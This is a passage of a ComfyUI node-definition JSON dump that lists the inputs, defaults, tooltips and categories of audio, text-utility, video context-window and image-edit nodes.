{"clip": ["CLIP", {}], "tags": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics_strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip", "tags", "lyrics", "lyrics_strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeAceStepAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyAceStepLatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 120.0, "min": 1.0, "max": 1000.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAceStepLatentAudio", "display_name": "Empty Ace Step 1.0 Latent Audio", "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/latent/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeAceStepAudio1.5": {"input": {"required": {"clip": ["CLIP", {}], "tags": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics": ["STRING", {"multiline": true, "dynamicPrompts": true}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "bpm": ["INT", {"default": 120, "min": 10, "max": 300}], "duration": ["FLOAT", {"default": 120.0, "min": 0.0, "max": 2000.0, "step": 0.1}], "timesignature": ["COMBO", {"multiselect": false, "options": ["2", "3", "4", "6"]}], "language": ["COMBO", {"default": "en", "multiselect": false, "options": ["ar", "az", "bg", "bn", "ca", "cs", "da", "de", "el", "en", "es", "fa", "fi", "fr", "he", "hi", "hr", "ht", "hu", "id", "is", "it", "ja", "ko", "la", "lt", "ms", "ne", "nl", "no", "pa", "pl", "pt", "ro", "ru", "sa", "sk", "sr", "sv", "sw", "ta", "te", "th", "tl", "tr", "uk", "ur", "vi", "yue", "zh", "unknown"]}], "keyscale": ["COMBO", {"multiselect": false, "options": ["C major", "C# major", "Db major", "D major", "D# major", "Eb major", "E major", "F major", "F# major", "Gb major", "G major", "G# major", "Ab major", "A major", "A# major", "Bb major", "B major", "C minor", "C# minor", "Db minor", "D minor", "D# minor", "Eb minor", "E minor", "F minor", "F# minor", "Gb minor", "G minor", "G# minor", "Ab minor", "A minor", "A# minor", "Bb minor", "B minor"]}], "generate_audio_codes": ["BOOLEAN", {"tooltip": "Enable the LLM that generates audio codes. This can be slow but will increase the quality of the generated audio. Turn this off if you are giving the model an audio reference.", "advanced": true, "default": true}], "cfg_scale": ["FLOAT", {"advanced": true, "default": 2.0, "min": 0.0, "max": 100.0, "step": 0.1}], "temperature": ["FLOAT", {"advanced": true, "default": 0.85, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 2000.0, "step": 0.01}], "top_k": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 100}], "min_p": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["clip", "tags", "lyrics", "seed", "bpm", "duration", "timesignature", "language", "keyscale", "generate_audio_codes", "cfg_scale", "temperature", "top_p", "top_k", "min_p"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeAceStepAudio1.5", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyAceStep1.5LatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 120.0, "min": 1.0, "max": 1000.0, "step": 0.01}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAceStep1.5LatentAudio", "display_name": "Empty Ace Step 1.5 Latent Audio", "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/latent/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReferenceTimbreAudio": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["conditioning"], "optional": ["latent"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReferenceTimbreAudio", "display_name": "Set Reference Audio", "description": "This node sets the reference audio for ace step 1.5", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StringFormat": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "names": ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], "min": 0}}], "f_string": ["STRING", {"default": "{a}", "multiline": true}]}}, "input_order": {"required": ["values", "f_string"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringFormat", "display_name": "Format Text", "description": "Same as Python's string format method. Supports all of Python's format options and features.", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["string", "format"], "essentials_category": null, "has_intermediate_output": false}, "StringConcatenate": {"input": {"required": {"string_a": ["STRING", {"multiline": true}], "string_b": ["STRING", {"multiline": true}], "delimiter": ["STRING", {"default": "", "multiline": false}]}}, "input_order": {"required": ["string_a", "string_b", "delimiter"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringConcatenate", "display_name": "Concatenate Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["concatenate", "text concat", "join text", "merge text", "combine strings", "string concat", "append text", "combine text"], "essentials_category": null, "has_intermediate_output": false}, "StringSubstring": {"input": {"required": {"string": ["STRING", {"multiline": true}], "start": ["INT", {}], "end": ["INT", {}]}}, "input_order": {"required": ["string", "start", "end"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringSubstring", "display_name": "Substring", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["substring", "extract text", "text portion"], "essentials_category": null, "has_intermediate_output": false}, "StringLength": {"input": {"required": {"string": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["string"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["length"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringLength", "display_name": "Text Length", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["character count", "text size", "string length"], "essentials_category": null, "has_intermediate_output": false}, "CaseConverter": {"input": {"required": {"string": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["UPPERCASE", "lowercase", "Capitalize", "Title Case"]}]}}, "input_order": {"required": ["string", "mode"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CaseConverter", "display_name": "Convert Text Case", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["case converter", "text case", "uppercase", "lowercase", "capitalize"], "essentials_category": null, "has_intermediate_output": false}, "StringTrim": {"input": {"required": {"string": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["Both", "Left", "Right"]}]}}, "input_order": {"required": ["string", "mode"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringTrim", "display_name": "Trim Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim", "clean whitespace", "remove whitespace", "remove spaces", "strip"], "essentials_category": null, "has_intermediate_output": false}, "StringReplace": {"input": {"required": {"string": ["STRING", {"multiline": true}], "find": ["STRING", {"multiline": true}], "replace": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["string", "find", "replace"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringReplace", "display_name": "Replace Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["replace", "find and replace", "substitute", "swap text"], "essentials_category": null, "has_intermediate_output": false}, "StringContains": {"input": {"required": {"string": ["STRING", {"multiline": true}], "substring": ["STRING", {"multiline": true}], "case_sensitive": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["string", "substring", "case_sensitive"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["contains"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringContains", "display_name": "Contains Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["contains", "text includes", "string includes"], "essentials_category": null, "has_intermediate_output": false}, "StringCompare": {"input": {"required": {"string_a": ["STRING", {"multiline": true}], "string_b": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["Starts With", "Ends With", "Equal"]}], "case_sensitive": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["string_a", "string_b", "mode", "case_sensitive"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringCompare", "display_name": "Compare Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["compare", "text match", "string equals", "starts with", "ends with"], "essentials_category": null, "has_intermediate_output": false}, "RegexMatch": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"advanced": true, "default": false}]}}, "input_order": {"required": ["string", "regex_pattern", "case_insensitive", "multiline", "dotall"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["matches"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexMatch", "display_name": "Match Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex match", "regex", "pattern match", "text contains", "string match"], "essentials_category": null, "has_intermediate_output": false}, "RegexExtract": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["First Match", "All Matches", "First Group", "All Groups"]}], "case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"advanced": true, "default": false}], "group_index": ["INT", {"advanced": true, "default": 1, "min": 0, "max": 100}]}}, "input_order": {"required": ["string", "regex_pattern", "mode", "case_insensitive", "multiline", "dotall", "group_index"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexExtract", "display_name": "Extract Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex extract", "regex", "pattern extract", "text parser", "parse text"], "essentials_category": null, "has_intermediate_output": false}, "RegexReplace": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "replace": ["STRING", {"multiline": true}]}, "optional": {"case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"tooltip": "When enabled, the dot (.) character will match any character including newline characters. When disabled, dots won't match newlines.", "advanced": true, "default": false}], "count": ["INT", {"tooltip": "Maximum number of replacements to make. Set to 0 to replace all occurrences (default). Set to 1 to replace only the first match, 2 for the first two matches, etc.", "advanced": true, "default": 0, "min": 0, "max": 100}]}}, "input_order": {"required": ["string", "regex_pattern", "replace"], "optional": ["case_insensitive", "multiline", "dotall", "count"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexReplace", "display_name": "Replace Text (Regex)", "description": "Find and replace text using regex patterns.", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex replace", "regex", "pattern replace", "substitution"], "essentials_category": null, "has_intermediate_output": false}, "JsonExtractString": {"input": {"required": {"json_string": ["STRING", {"multiline": true}], "key": ["STRING", {"multiline": false}]}}, "input_order": {"required": ["json_string", "key"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "JsonExtractString", "display_name": "Extract Text from JSON", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["json", "extract json", "parse json", "json value", "read json"], "essentials_category": null, "has_intermediate_output": false}, "WanCameraEmbedding": {"input": {"required": {"camera_pose": ["COMBO", {"default": "Static", "multiselect": false, "options": ["Static", "Pan Up", "Pan Down", "Pan Left", "Pan Right", "Zoom In", "Zoom Out", "Anti Clockwise (ACW)", "ClockWise (CW)"]}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}]}, "optional": {"speed": ["FLOAT", {"default": 1.0, "min": 0, "max": 10.0, "step": 0.1}], "fx": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 1e-09}], "fy": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 1e-09}], "cx": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 0.01}], "cy": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 0.01}]}}, "input_order": {"required": ["camera_pose", "width", "height", "length"], "optional": ["speed", "fx", "fy", "cx", "cy"]}, "is_input_list": false, "output": ["WAN_CAMERA_EMBEDDING", "INT", "INT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["camera_embedding", "width", "height", "length"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanCameraEmbedding", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_camera_trajectory", "category": "model/conditioning/wan/camera", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReferenceLatent": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["conditioning"], "optional": ["latent"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReferenceLatent", "display_name": "Set Reference Latent", "description": "This node sets the guiding latent for an edit model. If the model supports it you can chain multiple to set multiple reference images.", "python_module": "comfy_extras.nodes_edit_model", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TCFG": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "TCFG", "display_name": "Tangential Damping CFG", "description": "TCFG \u2013 Tangential Damping CFG (2503.18137)\n\nRefine the uncond (negative) to align with the cond (positive) for improving quality.", "python_module": "comfy_extras.nodes_tcfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ContextWindowsManual": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window.", "default": 16, "min": 1}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window.", "default": 4, "min": 0}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_static", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "dim": ["INT", {"tooltip": "The dimension to apply the context windows to.", "default": 0, "min": 0, "max": 5}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "default": false}], "cond_retain_index_list": ["STRING", {"tooltip": "List of latent indices to retain in the conditioning tensors for each window. For concat-style I2V models (e.g. Wan I2V, HunyuanVideo I2V, Cosmos I2V, SVD) the encoded start image lives in the c_concat conditioning channels; setting this to '0' will retain that start image content at sub-pos 0 of every window.", "default": "", "multiline": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "default": false}], "latent_retain_index_list": ["STRING", {"tooltip": "List of latent indices to retain in the noise latent itself for each window. Use for workflows where reference content (e.g. a start image) lives directly in the noise latent rather than in separate conditioning channels (e.g. inplace-style I2V like LTXV, AnimateDiff). Independent of cond_retain_index_list.", "default": "", "multiline": false}], "causal_window_fix": ["BOOLEAN", {"tooltip": "Whether to add a causal fix frame to non-0-indexed context windows.", "default": true}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "dim", "freenoise", "cond_retain_index_list", "split_conds_to_windows", "latent_retain_index_list", "causal_window_fix"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "ContextWindowsManual", "display_name": "Context Windows (Manual)", "description": "Manually set context windows.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanContextWindowsManual": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window in real frames. Must be 4*n + 1.", "default": 81, "min": 1, "max": 16384, "step": 4}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window in real frames.", "default": 30, "min": 0}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_uniform", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "advanced": true, "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "advanced": true, "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "advanced": true, "default": true}], "retain_first_frame": ["BOOLEAN", {"tooltip": "Retain the first I2V frame in every context window (may help retain initial reference).", "default": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "freenoise", "retain_first_frame", "split_conds_to_windows"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "WanContextWindowsManual", "display_name": "Wan Context Windows", "description": "Set context windows for Wan-like models.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch/wan", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVContextWindows": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window in real frames. Must be 8*n + 1.", "default": 145, "min": 1, "max": 16384, "step": 8}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window in real frames.", "default": 40, "min": 0, "step": 8}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_uniform", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "advanced": true, "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "advanced": true, "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "advanced": true, "default": true}], "retain_first_frame": ["BOOLEAN", {"tooltip": "Retain the first latent frame in every context window (may help retain initial reference).", "default": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "freenoise", "retain_first_frame", "split_conds_to_windows"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "LTXVContextWindows", "display_name": "LTXV Context Windows", "description": "Set context windows for LTXV-like models.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeQwenImageEdit": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}]}, "optional": {"vae": ["VAE", {}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt"], "optional": ["vae", "image"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeQwenImageEdit", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/conditioning/qwen image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeQwenImageEditPlus": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}]}, "optional": {"vae": ["VAE", {}], "image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "image3": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt"], "optional": ["vae", "image1", "image2", "image3"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeQwenImageEditPlus", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/conditioning/qwen image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyQwenImageLayeredLatentImage": {"input": {"required": {"width": ["INT", {"default": 640, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 640, "min": 16, "max": 16384, "step": 16}], "layers": ["INT", {"default": 3, "min": 0, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "layers", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyQwenImageLayeredLatentImage", "display_name": "Empty Qwen Image Layered Latent", "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/latent/qwen", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeBooguEdit": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "negative_prompt": ["STRING", {"advanced": true, "multiline": true, "dynamicPrompts": true}], "vae": ["VAE", {}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Boogu focuses on one reference per sample; more are allowed.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}}, "input_order": {"required": ["clip", "prompt", "negative_prompt", "vae", "images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "TextEncodeBooguEdit", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_boogu", "category": "model/conditioning/boogu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyChromaRadianceLatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyChromaRadianceLatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_chroma_radiance", "category": "model/latent/chroma radiance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ChromaRadianceOptions": {"input": {"required": {"model": ["MODEL", {}], "preserve_wrapper": ["BOOLEAN", {"tooltip": "When enabled, will delegate to an existing model function wrapper if it exists. Generally should be left enabled.", "default": true}], "start_sigma": ["FLOAT", {"tooltip": "First sigma that these options will be in effect.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0}], "end_sigma": ["FLOAT", {"tooltip": "Last sigma that these options will be in effect.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0}], "nerf_tile_size": ["INT", {"tooltip": "Allows overriding the default NeRF tile size. -1 means use the default (32). 0 means use non-tiling mode (may require a lot of VRAM).", "advanced": true, "default": -1, "min": -1}], "force_sequential_txt_ids": ["BOOLEAN", {"tooltip": "Force usage of sequential text token IDs instead of zeroes. Should be used for checkpoints from 2026-05-22 to 2026-06-01 that are trained in this way but do not contain the __sequential__ key in the state dict.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "preserve_wrapper", "start_sigma", "end_sigma", "nerf_tile_size", "force_sequential_txt_ids"]}, "is_input_list": false, "output": 